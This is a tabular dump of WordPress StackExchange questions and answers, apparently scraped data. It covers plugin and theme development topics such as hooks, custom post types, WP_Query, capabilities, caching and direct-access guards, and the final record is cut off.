qid int64 4 8.14M | question stringlengths 20 48.3k | answers list | date stringlengths 10 10 | metadata list | input stringlengths 12 45k | output stringlengths 2 31.8k |
|---|---|---|---|---|---|---|
108,248 | <p>How can I get correct action hook on publish_posts for multiple custom types ?</p>
<p>I have a following problem, I can use this hook for posts or single custom post_type, but I don't know correct hook for multiple custom post types:</p>
<pre><code>// Post publication for posts
add_filter ( 'publish_post', 'notify... | [
{
"answer_id": 108255,
"author": "Ravinder Kumar",
"author_id": 29439,
"author_profile": "https://wordpress.stackexchange.com/users/29439",
"pm_score": 3,
"selected": true,
"text": "<p>I think you can achieve this by:</p>\n\n<p>1.determine the custom post types by using <a href=\"http://... | 2013/07/29 | [
"https://wordpress.stackexchange.com/questions/108248",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33517/"
] | How can I get correct action hook on publish\_posts for multiple custom types ?
I have a following problem, I can use this hook for posts or single custom post\_type, but I don't know correct hook for multiple custom post types:
```
// Post publication for posts
add_filter ( 'publish_post', 'notify_published_post' );... | I think you can achieve this by:
1.determine the custom post types by using [`get_post_types()`](http://codex.wordpress.org/Function_Reference/get_post_types) fx
>
> It returns a list of post names or objects on basis of parameter you
> pass
>
>
>
```
<?php
$args = array(
'public' => true,
'_builtin' => f... |
108,257 | <p>Ok, first of all, I know how to do this manually.<br>
I could just download easing, place it in my plugin folder and load it using <code>wp_enqueue_script</code>. However, I want to load my script in a long-term way, ensuring that I use the same version of the easing script wordpress uses.</p>
<p>So what I am looki... | [
{
"answer_id": 108262,
"author": "gmazzap",
"author_id": 35541,
"author_profile": "https://wordpress.stackexchange.com/users/35541",
"pm_score": 4,
"selected": true,
"text": "<p>If you refer to <a href=\"http://gsgd.co.uk/sandbox/jquery/easing/\">this</a> script, this is not included in ... | 2013/07/29 | [
"https://wordpress.stackexchange.com/questions/108257",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9243/"
] | Ok, first of all, I know how to do this manually.
I could just download easing, place it in my plugin folder and load it using `wp_enqueue_script`. However, I want to load my script in a long-term way, ensuring that I use the same version of the easing script wordpress uses.
So what I am looking for, is a way to lo... | If you refer to [this](http://gsgd.co.uk/sandbox/jquery/easing/) script, this is not included in wordpress.
See the codex for [list of scripts included in wp](http://codex.wordpress.org/Function_Reference/wp_enqueue_script#Default_Scripts_Included_and_Registered_by_WordPress) you will not find it.
If you don't trust c... |
108,258 | <p>I am trying to modify the CPT Bootstrap Carousel plugin, so that I can add a link button to the carousel items. The plugin creates a custom post type called cptbc_post_type, this post type is basically a gallery which you can display by adding a shortcode. What I want to do is to add a button with a href value that ... | [
{
"answer_id": 108263,
"author": "reikyoushin",
"author_id": 32687,
"author_profile": "https://wordpress.stackexchange.com/users/32687",
"pm_score": 2,
"selected": true,
"text": "<p>this would help you do that.. <a href=\"http://wordpress.org/plugins/advanced-custom-fields/\" rel=\"nofol... | 2013/07/29 | [
"https://wordpress.stackexchange.com/questions/108258",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32654/"
] | I am trying to modify the CPT Bootstrap Carousel plugin, so that I can add a link button to the carousel items. The plugin creates a custom post type called cptbc\_post\_type, this post type is basically a gallery which you can display by adding a shortcode. What I want to do is to add a button with a href value that c... | this would help you do that.. <http://wordpress.org/plugins/advanced-custom-fields/>
then you can set up the custom field to only show on `cptbc_post_type` only..
on the template you can then get the value you set on the admin like this:
```
<a href="<?php echo get_field('field_name', $post->ID);?>">Link</a>
``` |
108,286 | <p>I need random (and unique) alphanumeric permalinks. I've looked at several plugins but they all seem to do some form of redirection to a longer URL. That's not what I want, I want the permalink to be changed.</p>
<p>Basically, I'm wanting URLs like bit.ly or 9gag.com.</p>
<p>I've looked, but came up empty in my se... | [
{
"answer_id": 108292,
"author": "Wyck",
"author_id": 1509,
"author_profile": "https://wordpress.stackexchange.com/users/1509",
"pm_score": 1,
"selected": false,
"text": "<p>To append a random slug to a post using something like:</p>\n\n<pre><code>add_filter( 'wp_unique_post_slug', 'uniq... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108286",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35937/"
] | I need random (and unique) alphanumeric permalinks. I've looked at several plugins but they all seem to do some form of redirection to a longer URL. That's not what I want, I want the permalink to be changed.
Basically, I'm wanting URLs like bit.ly or 9gag.com.
I've looked, but came up empty in my searches - does a p... | If you'd like to keep your slugs for SEO, then you'll want to define a new rewrite tag and leave the default behavior for post slugs.
If you'd like a unique id, then instead of looking up possible duplicates, why not just re-use the post ID which is guaranteed to be unique given a MySQL primary index – you can convert... |
108,287 | <p>I'm using W3 Total Cache 0.9.2.11 on Wordpress 3.5.2. I've got a problem with transient API and w3tc's object cache setting.</p>
<p>When I activate 'object cache' with memcached (other settings are default), transient APIs stop working. The behavior is: when I call get_transient() within the expiration time after s... | [
{
"answer_id": 116413,
"author": "Andy Adams",
"author_id": 6816,
"author_profile": "https://wordpress.stackexchange.com/users/6816",
"pm_score": 1,
"selected": false,
"text": "<p>I encountered this exact problem, and it is indeed due to W3 Cache. I deduced a way to temporarily turn off ... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108287",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/26808/"
] | I'm using W3 Total Cache 0.9.2.11 on Wordpress 3.5.2. I've got a problem with transient API and w3tc's object cache setting.
When I activate 'object cache' with memcached (other settings are default), transient APIs stop working. The behavior is: when I call get\_transient() within the expiration time after set\_trans... | I was having this same issue and was able to correct it by expanding on Andy's solution, however I only needed to force on value in particular to not use W3TC's object cache. I tried using APC, Memcached as well as Disk for the cache with the same results. Caching certainly helps performance, and the code I was having ... |
108,288 | <p>I'm trying to get only the fields that I need using the <code>get_posts()</code> function in WordPress. I currently have the following code:</p>
<pre><code> $posts_args = array(
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'post',
'post_status' => 'publi... | [
{
"answer_id": 108290,
"author": "s_ha_dum",
"author_id": 21376,
"author_profile": "https://wordpress.stackexchange.com/users/21376",
"pm_score": 4,
"selected": true,
"text": "<p><a href=\"http://core.trac.wordpress.org/browser/tags/3.5.2/wp-includes/post.php#L1723\" rel=\"noreferrer\"><... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108288",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/26801/"
] | I'm trying to get only the fields that I need using the `get_posts()` function in WordPress. I currently have the following code:
```
$posts_args = array(
'orderby' => 'post_date',
'order' => 'DESC',
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => 5,
... | [`get_posts` passes the heavy lifting off to `WP_Query`](http://core.trac.wordpress.org/browser/tags/3.5.2/wp-includes/post.php#L1723) and if you look at the source of that class you can see that there are only a [limited number of options with that `fields` argument](http://core.trac.wordpress.org/browser/tags/3.5.2/w... |
108,297 | <p>I have the following post query:</p>
<pre><code>query_posts( array(
'post_type' => 'maze-schedule',
'order' => 'ASC',
'orderby' => 'meta_value_num',
'meta_key' => 'course_date'
) );
?>
</code></pre>
<p>This works fine and the posts are ordered by my "course_date" meta... | [
{
"answer_id": 108290,
"author": "s_ha_dum",
"author_id": 21376,
"author_profile": "https://wordpress.stackexchange.com/users/21376",
"pm_score": 4,
"selected": true,
"text": "<p><a href=\"http://core.trac.wordpress.org/browser/tags/3.5.2/wp-includes/post.php#L1723\" rel=\"noreferrer\"><... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108297",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33324/"
] | I have the following post query:
```
query_posts( array(
'post_type' => 'maze-schedule',
'order' => 'ASC',
'orderby' => 'meta_value_num',
'meta_key' => 'course_date'
) );
?>
```
This works fine and the posts are ordered by my "course\_date" meta value.
However, when two posts with th... | [`get_posts` passes the heavy lifting off to `WP_Query`](http://core.trac.wordpress.org/browser/tags/3.5.2/wp-includes/post.php#L1723) and if you look at the source of that class you can see that there are only a [limited number of options with that `fields` argument](http://core.trac.wordpress.org/browser/tags/3.5.2/w... |
108,301 | <p>I'm writing a theme options page that provides a space for the user to enter code for social buttons e.g.</p>
<pre><code><a href="https://twitter.com/share" class="twitter-share-button"
data-url="<?php echo get_permalink(); ?>">Tweet</a>
</code></pre>
<p>Obviously, having <code><?php echo... | [
{
"answer_id": 108307,
"author": "Mark Davidson",
"author_id": 34111,
"author_profile": "https://wordpress.stackexchange.com/users/34111",
"pm_score": 2,
"selected": true,
"text": "<p>Have you made sure to copy the mini-cart.php into yourtheme/woocommerce/cart/ not just yourtheme/woocomm... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108301",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/7938/"
] | I'm writing a theme options page that provides a space for the user to enter code for social buttons e.g.
```
<a href="https://twitter.com/share" class="twitter-share-button"
data-url="<?php echo get_permalink(); ?>">Tweet</a>
```
Obviously, having `<?php echo get_permalink(); ?>` for the data-url attribute is ... | Have you made sure to copy the mini-cart.php into yourtheme/woocommerce/cart/ not just yourtheme/woocommerce I can say for certain this works in Woocommerce version 2.0.12
Also if your saying that editing the core file isn't working is it possible that its getting override some where else in your theme. Could be worth... |
108,338 | <p>I have a custom post type that I'd like to restrict access to certain roles however, I've already added content using the custom post type and now I have to make them restricted. The capability_type was 'post'</p>
<pre><code>'capability_type' => 'post'
</code></pre>
<p>Which is fine as the content show up in th... | [
{
"answer_id": 108356,
"author": "iEmanuele",
"author_id": 35646,
"author_profile": "https://wordpress.stackexchange.com/users/35646",
"pm_score": 4,
"selected": false,
"text": "<p>Add:</p>\n\n<pre><code>map_meta_cap => true\n</code></pre>\n\n<p>to your $args array. Look <a href=\"htt... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108338",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31057/"
] | I have a custom post type that I'd like to restrict access to certain roles however, I've already added content using the custom post type and now I have to make them restricted. The capability\_type was 'post'
```
'capability_type' => 'post'
```
Which is fine as the content show up in the backend however, now as so... | After a quick chat with [Magicroundabout](https://wordpress.stackexchange.com/users/10046/magicroundabout) who pointed out a useful resource from [Justin Tadlock](http://wordpress.org/support/topic/anyone-managed-to-get-custom-post-types-capabilities-working/page/2#post-1593534), it turns out that capabilities for cust... |
108,341 | <p>I got this annoying issue I can't solve : </p>
<pre><code>if( $meta1 = '' && $meta2 = '' ) {
$image_attributes = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), my_own_size_function());
echo $image_attributes[0];
} elseif( $meta1 != '' ) {
echo $meta1;
} elseif ( $meta2 != '' )... | [
{
"answer_id": 108356,
"author": "iEmanuele",
"author_id": 35646,
"author_profile": "https://wordpress.stackexchange.com/users/35646",
"pm_score": 4,
"selected": false,
"text": "<p>Add:</p>\n\n<pre><code>map_meta_cap => true\n</code></pre>\n\n<p>to your $args array. Look <a href=\"htt... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108341",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31376/"
] | I got this annoying issue I can't solve :
```
if( $meta1 = '' && $meta2 = '' ) {
$image_attributes = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), my_own_size_function());
echo $image_attributes[0];
} elseif( $meta1 != '' ) {
echo $meta1;
} elseif ( $meta2 != '' ){
$image_attributes =... | After a quick chat with [Magicroundabout](https://wordpress.stackexchange.com/users/10046/magicroundabout) who pointed out a useful resource from [Justin Tadlock](http://wordpress.org/support/topic/anyone-managed-to-get-custom-post-types-capabilities-working/page/2#post-1593534), it turns out that capabilities for cust... |
108,357 | <p>I am struggling with the php structure. How do I need to rewrite the code to get the links to the titles and thumbnails of the custom posts?</p>
<pre><code><ul class="thumbnails">
<?php $pfportfolio = new WP_Query( 'post_type=portfolio', 'posts_per_page=-1' );?>
<?php while ( $pfportfolio->... | [
{
"answer_id": 108361,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 1,
"selected": false,
"text": "<p>Something like this should solve your problem...</p>\n\n<pre><code><?php $pfportfolio = new WP_Que... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108357",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35978/"
] | I am struggling with the php structure. How do I need to rewrite the code to get the links to the titles and thumbnails of the custom posts?
```
<ul class="thumbnails">
<?php $pfportfolio = new WP_Query( 'post_type=portfolio', 'posts_per_page=-1' );?>
<?php while ( $pfportfolio->have_posts() ) : $pfportfolio->... | Something like this should solve your problem...
```
<?php $pfportfolio = new WP_Query( array('post_type'=>'portfolio', 'posts_per_page'=>-1) ); ?>
<?php if ( $pfportfolio->have_posts() ): ?>
<ul class="thumbnails">
<?php while ( $pfportfolio->have_posts() ) : $pfportfolio->the_post(); ?>
<li class="span4" dat... |
108,362 | <p>If a plugin uses some script (prominent example: jQuery UI Datepicker), but you're not happy with how the script renders the output, then there're two possibilities:</p>
<h2>1. Unregister the script > Add your own version</h2>
<p>So first you'd need to check the handle, then find the priority and the hook (<code>w... | [
{
"answer_id": 108364,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 4,
"selected": true,
"text": "<p><code>wp_localize_script()</code> calls the method <code>localize()</code> on the global variable <code>$wp_scripts</c... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108362",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/385/"
] | If a plugin uses some script (prominent example: jQuery UI Datepicker), but you're not happy with how the script renders the output, then there're two possibilities:
1. Unregister the script > Add your own version
-----------------------------------------------
So first you'd need to check the handle, then find the p... | `wp_localize_script()` calls the method `localize()` on the global variable `$wp_scripts`. We can set this variable to an instance of a *child* class of `WP_Scripts`:
```
class Filterable_Scripts extends WP_Scripts
{
function localize( $handle, $object_name, $l10n )
{
$l10n = apply_filters( 'script_l10... |
108,367 | <p>A client of mine has custom post types that they set up using a plugin rather than defining them in the functions.php. (So, YARPP for the solution won't work). In this custom post types, they have various categories. Each post belongs to one or more categories. After each post, they would like to display 5 posts ... | [
{
"answer_id": 108364,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 4,
"selected": true,
"text": "<p><code>wp_localize_script()</code> calls the method <code>localize()</code> on the global variable <code>$wp_scripts</c... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108367",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/35980/"
] | A client of mine has custom post types that they set up using a plugin rather than defining them in the functions.php. (So, YARPP for the solution won't work). In this custom post types, they have various categories. Each post belongs to one or more categories. After each post, they would like to display 5 posts that a... | `wp_localize_script()` calls the method `localize()` on the global variable `$wp_scripts`. We can set this variable to an instance of a *child* class of `WP_Scripts`:
```
class Filterable_Scripts extends WP_Scripts
{
function localize( $handle, $object_name, $l10n )
{
$l10n = apply_filters( 'script_l10... |
108,369 | <p>So I am customizing the [CPT Bootstrap Carousel plugin][1] to fit my needs. I have added custom field support to the custom post type, where the custom field is suppose to add a button on the carousel items. I have been able to register the custom field in the backend and the button is showing up on the Carousel ite... | [
{
"answer_id": 108364,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 4,
"selected": true,
"text": "<p><code>wp_localize_script()</code> calls the method <code>localize()</code> on the global variable <code>$wp_scripts</c... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108369",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/32654/"
] | So I am customizing the [CPT Bootstrap Carousel plugin][1] to fit my needs. I have added custom field support to the custom post type, where the custom field is suppose to add a button on the carousel items. I have been able to register the custom field in the backend and the button is showing up on the Carousel items,... | `wp_localize_script()` calls the method `localize()` on the global variable `$wp_scripts`. We can set this variable to an instance of a *child* class of `WP_Scripts`:
```
class Filterable_Scripts extends WP_Scripts
{
function localize( $handle, $object_name, $l10n )
{
$l10n = apply_filters( 'script_l10... |
108,384 | <p>I want to get bbpress sticky topics using query like this:</p>
<pre><code>$sticky = get_option('sticky_posts');
rsort( $sticky );
$sticky = array_slice( $sticky, 0, 2);
query_posts( array( 'post__in' => $sticky, 'caller_get_posts' => 1, 'post_type'=> 'topic' ) );
if (have_posts()) :
wh... | [
{
"answer_id": 110808,
"author": "Vinod Dalvi",
"author_id": 14347,
"author_profile": "https://wordpress.stackexchange.com/users/14347",
"pm_score": 2,
"selected": false,
"text": "<p>You can make the query like above using following code.</p>\n\n<pre><code><?php\nquery_posts( array( '... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108384",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31943/"
] | I want to get bbpress sticky topics using query like this:
```
$sticky = get_option('sticky_posts');
rsort( $sticky );
$sticky = array_slice( $sticky, 0, 2);
query_posts( array( 'post__in' => $sticky, 'caller_get_posts' => 1, 'post_type'=> 'topic' ) );
if (have_posts()) :
while (have_posts()) : th... | You can make the query like above using following code.
```
<?php
query_posts( array( 'posts_per_page' => 2, 'meta_key' => '_bbp_sticky_topics', 'post_type'=> 'topic', 'order' => 'ASC' ) );
if (have_posts()) :
while (have_posts()) : the_post();
//do something
endwhile;
endif;
?>
```
But i strongl... |
108,400 | <p>Some predefined widgets offer the option to use a <code>select</code> element (dropdown) and/or a counter after each entry. How can I add the CSS classes <code>widget-with-dropdown</code> or <code>widget-with-counters</code> to these widgets?</p>
<p>There are already solutions for <a href="https://wordpress.stackex... | [
{
"answer_id": 108401,
"author": "fuxia",
"author_id": 73,
"author_profile": "https://wordpress.stackexchange.com/users/73",
"pm_score": 3,
"selected": true,
"text": "<p>The CSS classes are applied in the function <code>dynamic_sidebar()</code>. There is no specific filter for that:</p>\... | 2013/07/30 | [
"https://wordpress.stackexchange.com/questions/108400",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73/"
] | Some predefined widgets offer the option to use a `select` element (dropdown) and/or a counter after each entry. How can I add the CSS classes `widget-with-dropdown` or `widget-with-counters` to these widgets?
There are already solutions for [custom widgets](https://wordpress.stackexchange.com/questions/18942/add-clas... | The CSS classes are applied in the function `dynamic_sidebar()`. There is no specific filter for that:
```
// Substitute HTML id and class attributes into before_widget
$classname_ = '';
foreach ( (array) $wp_registered_widgets[$id]['classname'] as $cn ) {
if ( is_string($cn) )
$classname_ .= '_' . $cn;
... |
108,413 | <p>I'm trying to build up a menu of category links for specific categories I'd like to highlight and apply styling/classes to.</p>
<p>I've tried this sort of thing.</p>
<pre><code><li><a href="<?php get_site_url(); ?>category/Gadgets"> Gadgets</a></li>
</code></pre>
<p>And </p>
<pre><c... | [
{
"answer_id": 108416,
"author": "Mayeenul Islam",
"author_id": 22728,
"author_profile": "https://wordpress.stackexchange.com/users/22728",
"pm_score": 1,
"selected": false,
"text": "<p>Specific to your demand, try this:</p>\n\n<pre><code><li><a href=\"<?php echo home_url() ?... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108413",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/22450/"
] | I'm trying to build up a menu of category links for specific categories I'd like to highlight and apply styling/classes to.
I've tried this sort of thing.
```
<li><a href="<?php get_site_url(); ?>category/Gadgets"> Gadgets</a></li>
```
And
```
<li><a href="category/Gadgets"> Gadgets</a></li>
```
It's showing u... | There is a function called get\_category\_link() which might be helpful for you. This will be able to generate an appropriate link without having to hard-code it, except for the category name or ID.
Examples from the Wordpress Codex:
```
<?php
// Get the ID of a given category
$category_id = get_cat_ID( 'Cat... |
108,418 | <p>It's common for plugin developers to protect their plugins from direct access. I saw two ways to do that:</p>
<pre><code>if ( ! defined( 'WPINC' ) ) die;
</code></pre>
<p>and</p>
<pre><code>if ( ! defined( 'ABSPATH' ) ) exit;
</code></pre>
<p>What are the differences between WPINC and ABSPATH? Which one is the '... | [
{
"answer_id": 108422,
"author": "Wyck",
"author_id": 1509,
"author_profile": "https://wordpress.stackexchange.com/users/1509",
"pm_score": 6,
"selected": true,
"text": "<p>They are defined as follows:</p>\n\n<pre><code>define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );\ndefine( 'WPI... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108418",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/9060/"
] | It's common for plugin developers to protect their plugins from direct access. I saw two ways to do that:
```
if ( ! defined( 'WPINC' ) ) die;
```
and
```
if ( ! defined( 'ABSPATH' ) ) exit;
```
What are the differences between WPINC and ABSPATH? Which one is the 'right' way to do it? | They are defined as follows:
```
define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
define( 'WPINC', 'wp-includes' );
```
`dirname` is a PHP function that returns the path of the parent directory, and `wp-includes` is pretty self explanatory.
I would say `ABSPATH` is better because it's one of the first things ... |
108,426 | <p>what i am trying to do is create drop down menu in theme customizer from custom db i have created. db name "students". in the db i have only the id and the name. i want to show all students names in the drop down menu. and when the user will choose some of the students name and will click on the save button (i need ... | [
{
"answer_id": 108422,
"author": "Wyck",
"author_id": 1509,
"author_profile": "https://wordpress.stackexchange.com/users/1509",
"pm_score": 6,
"selected": true,
"text": "<p>They are defined as follows:</p>\n\n<pre><code>define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );\ndefine( 'WPI... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108426",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33185/"
] | what i am trying to do is create drop down menu in theme customizer from custom db i have created. db name "students". in the db i have only the id and the name. i want to show all students names in the drop down menu. and when the user will choose some of the students name and will click on the save button (i need to ... | They are defined as follows:
```
define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' );
define( 'WPINC', 'wp-includes' );
```
`dirname` is a PHP function that returns the path of the parent directory, and `wp-includes` is pretty self explanatory.
I would say `ABSPATH` is better because it's one of the first things ... |
108,444 | <p>I'm running a function on pages where the shortcode <code>[make-me-a-map]</code> is used. It enqueues javascript to the page and makes a map. That part works fine (woot!) but I'm having trouble with adding the stylesheets to only those pages in a similar fashion.</p>
<p><strong>functions.php (Current)</strong></p>
... | [
{
"answer_id": 108446,
"author": "Krzysiek Dróżdż",
"author_id": 34172,
"author_profile": "https://wordpress.stackexchange.com/users/34172",
"pm_score": 2,
"selected": true,
"text": "<p>2 questions so 2 answers :)</p>\n\n<blockquote>\n <p>Why is the current functions.php not working and... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108444",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/36008/"
] | I'm running a function on pages where the shortcode `[make-me-a-map]` is used. It enqueues javascript to the page and makes a map. That part works fine (woot!) but I'm having trouble with adding the stylesheets to only those pages in a similar fashion.
**functions.php (Current)**
```
add_shortcode("make-me-a-map", "c... | 2 questions so 2 answers :)
>
> Why is the current functions.php not working and adding styles to all
> pages? I'm not sure if it's the global call or the if statement...
>
>
>
It doesn't work because of the order in which these functions are called. Your shortcode callback is called during rendering post conten... |
108,455 | <p>I have a situation where I need several entries to be added to a database table (sometime a few hundred), but using <code>$wpdb->insert()</code> (and <code>$wpdb->update()</code> where edits are necessary) is running these inserts one at a time, which is very inefficient.</p>
<p>Is there a <code>$wpdb</code> ... | [
{
"answer_id": 108474,
"author": "s_ha_dum",
"author_id": 21376,
"author_profile": "https://wordpress.stackexchange.com/users/21376",
"pm_score": 3,
"selected": true,
"text": "<blockquote>\n <p>Is there a $wpdb method available that will allow me to create the\n query, by looping throu... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108455",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/10097/"
] | I have a situation where I need several entries to be added to a database table (sometime a few hundred), but using `$wpdb->insert()` (and `$wpdb->update()` where edits are necessary) is running these inserts one at a time, which is very inefficient.
Is there a `$wpdb` method available that will allow me to create the... | >
> Is there a $wpdb method available that will allow me to create the
> query, by looping through my query, and then execute it once I'm out
> of that loop?
>
>
>
If you and your loop can construct the proper SQL, then use `$wpdb->query`. You can run any query you want with that, so [whatever version of `INSERT... |
108,458 | <p>Because if I use:</p>
<p><code>'relation' => 'AND'</code> </p>
<p>or </p>
<p><code>'relation' => 'OR'</code> </p>
<p>the results are always the same. Why?</p>
| [
{
"answer_id": 108460,
"author": "helgatheviking",
"author_id": 6477,
"author_profile": "https://wordpress.stackexchange.com/users/6477",
"pm_score": 3,
"selected": false,
"text": "<p>With <code>AND</code> the returned posts must have <em>both</em> terms.</p>\n\n<p>With <code>OR</code> t... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108458",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/17368/"
] | Because if I use:
`'relation' => 'AND'`
or
`'relation' => 'OR'`
the results are always the same. Why? | `tax_query` is a 2-dimensional array, each sub-array can be considered to be a taxonomy query, typical its of the form:
```
array(
'taxonomy' => 'people',
'field' => 'slug',
'terms' => 'bob'
)
```
(e.g. posts in with the term with slug 'bob', of the 'people' taxonomy).
The fact that `tax_query` is a two dimen... |
108,475 | <p>I'm trying to make some of the variables from my plugin available for an instance of the class on my page. But it's not showing up the correct values.</p>
<p>Here's the relevant part of the plugin:</p>
<pre><code>class opi{
// version
public $opi_version = "1.0";
public $mg = 0;
//constructor
... | [
{
"answer_id": 108477,
"author": "montrealist",
"author_id": 8105,
"author_profile": "https://wordpress.stackexchange.com/users/8105",
"pm_score": 2,
"selected": false,
"text": "<p>Well, you're not executing <code>o_check</code> in your <code>page.php</code>, so the value of <code>mg</co... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108475",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/7640/"
] | I'm trying to make some of the variables from my plugin available for an instance of the class on my page. But it's not showing up the correct values.
Here's the relevant part of the plugin:
```
class opi{
// version
public $opi_version = "1.0";
public $mg = 0;
//constructor
public function opi(... | When you write that code
```
<?php $pageopi = new opi; ?>
// 1. object created
// 2. __construct is called
// 3. init action hook is set but is never executed so is o_check method
<?php echo $pageopi->mg; ?>
```
At this stage, `init` hook was executed long time before `$pageopi` is created actually, when page is loa... |
108,485 | <p>I'm trying to show all rental properties, first by all properties that have not been rented, and then by all properties that are currently rented. There is a custom post type 'rent' with custom post meta for price rented (_price_rented) which is a checkbox (returns either true or false... true if it HAS been rented)... | [
{
"answer_id": 108496,
"author": "kaiser",
"author_id": 385,
"author_profile": "https://wordpress.stackexchange.com/users/385",
"pm_score": 3,
"selected": false,
"text": "<p><code>WP_Meta_Query</code> is a somehow \"not so stable\" part in core and if you don't pay verrry much attention ... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108485",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/14700/"
] | I'm trying to show all rental properties, first by all properties that have not been rented, and then by all properties that are currently rented. There is a custom post type 'rent' with custom post meta for price rented (\_price\_rented) which is a checkbox (returns either true or false... true if it HAS been rented).... | >
> ***TL;DR:*** This problem probably mostly happens when a boolean field is created as optional. You can fix it either by making it required, or using a more complex query to retrieve the default case.
>
>
>
More details:
There are two data representation problems going on here: one is which data values are bei... |
108,491 | <p>I am having some difficulties trying to strip out special characters and spaces from my tags. Using the below code:</p>
<pre><code> <ul class="work_tags_nav">
<li><a class="all" href="#">all.</a></li>
<?php
query_posts(array... | [
{
"answer_id": 108492,
"author": "M-R",
"author_id": 17061,
"author_profile": "https://wordpress.stackexchange.com/users/17061",
"pm_score": 3,
"selected": true,
"text": "<p>Here it how you can do it.</p>\n\n<pre><code>$tag = 'medical &amp; health';\n$tag_class = preg_replace('/[^A-Z... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108491",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/17502/"
] | I am having some difficulties trying to strip out special characters and spaces from my tags. Using the below code:
```
<ul class="work_tags_nav">
<li><a class="all" href="#">all.</a></li>
<?php
query_posts(array( 'post_type'=> 'work' ));
if (... | Here it how you can do it.
```
$tag = 'medical & health';
$tag_class = preg_replace('/[^A-Za-z0-9-]+/', '-', html_entity_decode($tag));
echo '<li><a class="'.$tag_class.'" href="javascript:void(0)">' .$tag. '.</a></li>';
``` |
108,507 | <p>I have a custom post type and I'm trying to call up different variations of the navigation based on the custom taxonomy slug. I've done this fairly easily with normal posts, like so: </p>
<pre><code><?php
if ( is_category( 'mixers' )) {
include (TEMPLATEPATH.'/nav-mixers.php');
} elseif ( is_cat... | [
{
"answer_id": 108492,
"author": "M-R",
"author_id": 17061,
"author_profile": "https://wordpress.stackexchange.com/users/17061",
"pm_score": 3,
"selected": true,
"text": "<p>Here it how you can do it.</p>\n\n<pre><code>$tag = 'medical &amp; health';\n$tag_class = preg_replace('/[^A-Z... | 2013/07/31 | [
"https://wordpress.stackexchange.com/questions/108507",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31938/"
] | I have a custom post type and I'm trying to call up different variations of the navigation based on the custom taxonomy slug. I've done this fairly easily with normal posts, like so:
```
<?php
if ( is_category( 'mixers' )) {
include (TEMPLATEPATH.'/nav-mixers.php');
} elseif ( is_category( 'monitors'... | Here it how you can do it.
```
$tag = 'medical & health';
$tag_class = preg_replace('/[^A-Za-z0-9-]+/', '-', html_entity_decode($tag));
echo '<li><a class="'.$tag_class.'" href="javascript:void(0)">' .$tag. '.</a></li>';
``` |
108,508 | <p>I've been looking all over the web for something like what I need and I haven't find anything resemble not even similar, the thing is this:</p>
<p>I got a Page Template to a simple page post type, let's say 'Fruits' and then in this template I am calling a Web Services that will bring back all fruits with a certain... | [
{
"answer_id": 108514,
"author": "M-R",
"author_id": 17061,
"author_profile": "https://wordpress.stackexchange.com/users/17061",
"pm_score": 0,
"selected": false,
